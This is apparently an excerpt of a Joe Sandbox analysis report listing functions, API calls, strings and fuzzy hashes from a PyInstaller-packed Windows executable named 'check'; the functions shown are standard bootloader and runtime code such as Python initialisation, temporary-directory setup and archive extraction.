Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: ca0fe5e2423a680638819270f310f876a6d69874271d6d5ae3a850eda511f6e6
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: FCA00221D0CC0BD0E744CF01E8940BD2330FF54B28BA10431E05DD54B59F3CA428D319

Function 00007FF61C4C5830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C5840
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C5852
GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C5889
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C589B
GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C58B4
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C58C6
GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C58DF
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C58F1
GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C590D
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C591F
GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C593B
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C594D
GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C5969
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C597B
GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C5997
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C59A9
GetProcAddress.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C59C5
GetLastError.KERNEL32(?,00007FF61C4C64CF,?,00007FF61C4C336E), ref: 00007FF61C4C59D7

Strings

PyConfig_Read, xrefs: 00007FF61C4C59E9, 00007FF61C4C5A0B
PyObject_CallFunction, xrefs: 00007FF61C4C5CF7, 00007FF61C4C5D19
PyStatus_Exception, xrefs: 00007FF61C4C5E39, 00007FF61C4C5E5B
PyConfig_SetString, xrefs: 00007FF61C4C5A45, 00007FF61C4C5A67
PyModule_GetDict, xrefs: 00007FF61C4C5CC9, 00007FF61C4C5CEB
Py_IsInitialized, xrefs: 00007FF61C4C5931, 00007FF61C4C5953
Failed to get address for %hs, xrefs: 00007FF61C4C5861
Py_ExitStatusException, xrefs: 00007FF61C4C58AA, 00007FF61C4C58CC
PyUnicode_FromFormat, xrefs: 00007FF61C4C5F4D, 00007FF61C4C5F6F
PyErr_Occurred, xrefs: 00007FF61C4C5B2B, 00007FF61C4C5B4D
PyImport_AddModule, xrefs: 00007FF61C4C5BE3, 00007FF61C4C5C05
PySys_SetObject, xrefs: 00007FF61C4C5E95, 00007FF61C4C5EB7
PyConfig_InitIsolatedConfig, xrefs: 00007FF61C4C59BB, 00007FF61C4C59DD
PyObject_CallFunctionObjArgs, xrefs: 00007FF61C4C5D25, 00007FF61C4C5D47
Py_PreInitialize, xrefs: 00007FF61C4C595F, 00007FF61C4C5981
PyImport_ImportModule, xrefs: 00007FF61C4C5C3F, 00007FF61C4C5C61
PyUnicode_AsUTF8, xrefs: 00007FF61C4C5EC3, 00007FF61C4C5EE5
PyUnicode_FromString, xrefs: 00007FF61C4C5F7B, 00007FF61C4C5F9D
PyErr_Clear, xrefs: 00007FF61C4C5AA1, 00007FF61C4C5AC3
PyErr_Restore, xrefs: 00007FF61C4C5B87, 00007FF61C4C5BA9
PyObject_SetAttrString, xrefs: 00007FF61C4C5D81, 00007FF61C4C5DA3
PyUnicode_Replace, xrefs: 00007FF61C4C5FD7, 00007FF61C4C5FF9
PyMem_RawFree, xrefs: 00007FF61C4C5C9B, 00007FF61C4C5CBD
PyRun_SimpleStringFlags, xrefs: 00007FF61C4C5E0B, 00007FF61C4C5E2D
PyUnicode_DecodeFSDefault, xrefs: 00007FF61C4C5F1F, 00007FF61C4C5F41
PyObject_Str, xrefs: 00007FF61C4C5DAF, 00007FF61C4C5DD1
Py_DecRef, xrefs: 00007FF61C4C5836, 00007FF61C4C5858
PyConfig_SetBytesString, xrefs: 00007FF61C4C5A17, 00007FF61C4C5A39
PyErr_NormalizeException, xrefs: 00007FF61C4C5AFD, 00007FF61C4C5B1F
PyImport_ExecCodeModule, xrefs: 00007FF61C4C5C11, 00007FF61C4C5C33
Py_DecodeLocale, xrefs: 00007FF61C4C587F, 00007FF61C4C58A1
PyUnicode_Join, xrefs: 00007FF61C4C5FA9, 00007FF61C4C5FCB
PySys_GetObject, xrefs: 00007FF61C4C5E67, 00007FF61C4C5E89
Py_InitializeFromConfig, xrefs: 00007FF61C4C5903, 00007FF61C4C5925
PyMarshal_ReadObjectFromString, xrefs: 00007FF61C4C5C6D, 00007FF61C4C5C8F
PyErr_Fetch, xrefs: 00007FF61C4C5ACF, 00007FF61C4C5AF1
PyErr_Print, xrefs: 00007FF61C4C5B59, 00007FF61C4C5B7B
PyObject_GetAttrString, xrefs: 00007FF61C4C5D53, 00007FF61C4C5D75
PyConfig_Clear, xrefs: 00007FF61C4C598D, 00007FF61C4C59AF
PyConfig_SetWideStringList, xrefs: 00007FF61C4C5A73, 00007FF61C4C5A95
PyEval_EvalCode, xrefs: 00007FF61C4C5BB5, 00007FF61C4C5BD7
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF61C4C5DDD, 00007FF61C4C5DFF
GetProcAddress, xrefs: 00007FF61C4C5868
Py_Finalize, xrefs: 00007FF61C4C58D5, 00007FF61C4C58F7
PyUnicode_Decode, xrefs: 00007FF61C4C5EF1, 00007FF61C4C5F13

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: b8d0440930ee7b2dedaa2f6808d774af54448dc3211984c07158bc23f0ff67e0
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: 4E22A364A0DF0792FA15DB56A8505FD23A0AF04FBDB765435C82EC2660EF3CB1789368

Function 00007FF61C4C81D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF61C4C9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF61C4C45F4,00000000,00007FF61C4C1985), ref: 00007FF61C4C93C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF61C4C86B7,?,?,00000000,00007FF61C4C3CBB), ref: 00007FF61C4C822C

Part of subcall function 00007FF61C4C2810: MessageBoxW.USER32 ref: 00007FF61C4C28EA

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF61C4C8373
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF61C4C8203
\, xrefs: 00007FF61C4C8261
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF61C4C82D9
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF61C4C829D
CreateDirectory, xrefs: 00007FF61C4C837C
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF61C4C8240
%.*s, xrefs: 00007FF61C4C830C

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction ID: 5e83de7aa632b5a62c3be0d2d1b57e1f92abd63b49817775bd5de8d6b5ea6ebc
Opcode Fuzzy Hash: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction Fuzzy Hash: 41518611A1CE4381FB60DB25E8552FE6350AF94FB8F655431DA4EC26F5EE3CE5288318

Function 00007FF61C4C2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF61C4C21AB
SelectObject.GDI32 ref: 00007FF61C4C21F2
DrawTextW.USER32 ref: 00007FF61C4C2215
SelectObject.GDI32 ref: 00007FF61C4C222B
ReleaseDC.USER32 ref: 00007FF61C4C223B
MoveWindow.USER32 ref: 00007FF61C4C228B
MoveWindow.USER32 ref: 00007FF61C4C22CB
MoveWindow.USER32 ref: 00007FF61C4C231E
MoveWindow.USER32 ref: 00007FF61C4C2366

Strings

P%, xrefs: 00007FF61C4C21FF

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 229bae10ccbe440c025a42a41d09d209b6aebb1bb5719a786189da44fa99b658
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 09510636608BA186D7349F26E4181BEB7A1F798B65F004121EBDE83A94DF3CD055CB24

Function 00007FF61C4C80C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF61C4C80FF
GetWindowLongPtrW.USER32 ref: 00007FF61C4C817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF61C4C8192
GetLastError.KERNEL32 ref: 00007FF61C4C819C
SetWindowLongPtrW.USER32 ref: 00007FF61C4C81B3

Strings

Needs to remove its temporary files., xrefs: 00007FF61C4C8185

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: f3b13bdc49b02447515146c79cf50e4a86720ad84d23b54b55f4a81805800000
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 3F217421B0CE4282F7418B7BA8441BD63A0EF89FB8F694231DA1DC37A4DE2CD5658319

Function 00007FF61C4D6290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D62D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D66C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D695C

Strings

f, xrefs: 00007FF61C4D63F5
p, xrefs: 00007FF61C4D63FD
:, xrefs: 00007FF61C4D648C
-, xrefs: 00007FF61C4D6369
p, xrefs: 00007FF61C4D6385

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 63ed5a8f2388d48939ac4a104014d58de1b80ce9bb1445457cae5b4a1a81d201
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 0512C371E0DA4386FB20BE14D1542FD76A1FB60F78FA44936E689866C4DF3CE5A48B04

Function 00007FF61C4D0FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D1008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D13D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D166F

Strings

f, xrefs: 00007FF61C4D1255
p, xrefs: 00007FF61C4D10AD
f, xrefs: 00007FF61C4D110A
f, xrefs: 00007FF61C4D10A0
p, xrefs: 00007FF61C4D1112

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 773efcbf799a3a2280a96fa476068df1259543eb6008320865d73ae73f2d71a0
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 33129961E1C98386FB207A94D0546FD77A1FB60F78FA44135EA9A879C4DF7CE4A08B00

Function 00007FF61C4C1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF61C4C1108
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF61C4C11F6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF61C4C10CC
fseek, xrefs: 00007FF61C4C10D3
fread, xrefs: 00007FF61C4C11FD
malloc, xrefs: 00007FF61C4C110F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF61C4C1098

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: bdb51f189eec0aae26590c8a1b92bbb562030306dab734aaada4990c27a5542a
Instruction ID: fe8d0296d2d8438e9a67fa18a17b5d7d86e8670d753098c1fd422dd5c52ed430
Opcode Fuzzy Hash: bdb51f189eec0aae26590c8a1b92bbb562030306dab734aaada4990c27a5542a
Instruction Fuzzy Hash: F7419621B0CE5281EB11EB52A8446FD6390FF54FE8F644532ED4C877A5DE3CE5298744

Function 00007FF61C4C1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF61C4C1518
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF61C4C15DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF61C4C14DE
fseek, xrefs: 00007FF61C4C14E5
fread, xrefs: 00007FF61C4C15E6
malloc, xrefs: 00007FF61C4C151F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF61C4C149F

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: a8e221c47165c0dbec1a7dc4007f346f16716469ebf4d834264a8452580f1fe3
Instruction ID: 91e1eae791dd3251a6d17148108a2a9611368b002584dae73b17564036157df1
Opcode Fuzzy Hash: a8e221c47165c0dbec1a7dc4007f346f16716469ebf4d834264a8452580f1fe3
Instruction Fuzzy Hash: 1F417C21B0CA4286EB11DB62D4406FD6390BF44FB8F645832ED4D97BA5DE3CE52A8708

Function 00007FF61C4CEA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF61C4CEA65

Part of subcall function 00007FF61C4CF9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF61C4CF9FF
Part of subcall function 00007FF61C4CF9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF61C4CFA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF61C4CEB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF61C4CED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF61C4CEE98

Strings

csm, xrefs: 00007FF61C4CEAE6
csm, xrefs: 00007FF61C4CEB60
csm, xrefs: 00007FF61C4CEA7F

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: cfab2538e0715f8371bc5bfb7a7dac916ac257b07d30991b6212ae6a0ff6506f
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 64D17F6290CB418AEB20DB25D4403ED7BA0FB55BACF200135DE8D977A6DF38E5A9C705

Function 00007FF61C4C2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF61C4C3706,?,00007FF61C4C3804), ref: 00007FF61C4C2C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF61C4C3706,?,00007FF61C4C3804), ref: 00007FF61C4C2D63
MessageBoxW.USER32 ref: 00007FF61C4C2D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF61C4C2D70
[PYI-%d:ERROR] , xrefs: 00007FF61C4C2CA6
%ls: , xrefs: 00007FF61C4C2D22
Error, xrefs: 00007FF61C4C2D8C

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 25b2a86eede8ae20a9da6f09e6c2a2c745736a71a39fbd8349cd4ab7245800d4
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 7B31B62270CE4142E720AB25A8502EE6791BF84FACF510135EF4DD3B69DE3CD51AC714

Function 00007FF61C4CDCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF61C4CDF7A,?,?,?,00007FF61C4CDC6C,?,?,?,00007FF61C4CD869), ref: 00007FF61C4CDD4D
GetLastError.KERNEL32(?,?,?,00007FF61C4CDF7A,?,?,?,00007FF61C4CDC6C,?,?,?,00007FF61C4CD869), ref: 00007FF61C4CDD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF61C4CDF7A,?,?,?,00007FF61C4CDC6C,?,?,?,00007FF61C4CD869), ref: 00007FF61C4CDD85
FreeLibrary.KERNEL32(?,?,?,00007FF61C4CDF7A,?,?,?,00007FF61C4CDC6C,?,?,?,00007FF61C4CD869), ref: 00007FF61C4CDDF3
GetProcAddress.KERNEL32(?,?,?,00007FF61C4CDF7A,?,?,?,00007FF61C4CDC6C,?,?,?,00007FF61C4CD869), ref: 00007FF61C4CDDFF

Strings

api-ms-, xrefs: 00007FF61C4CDD6D

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

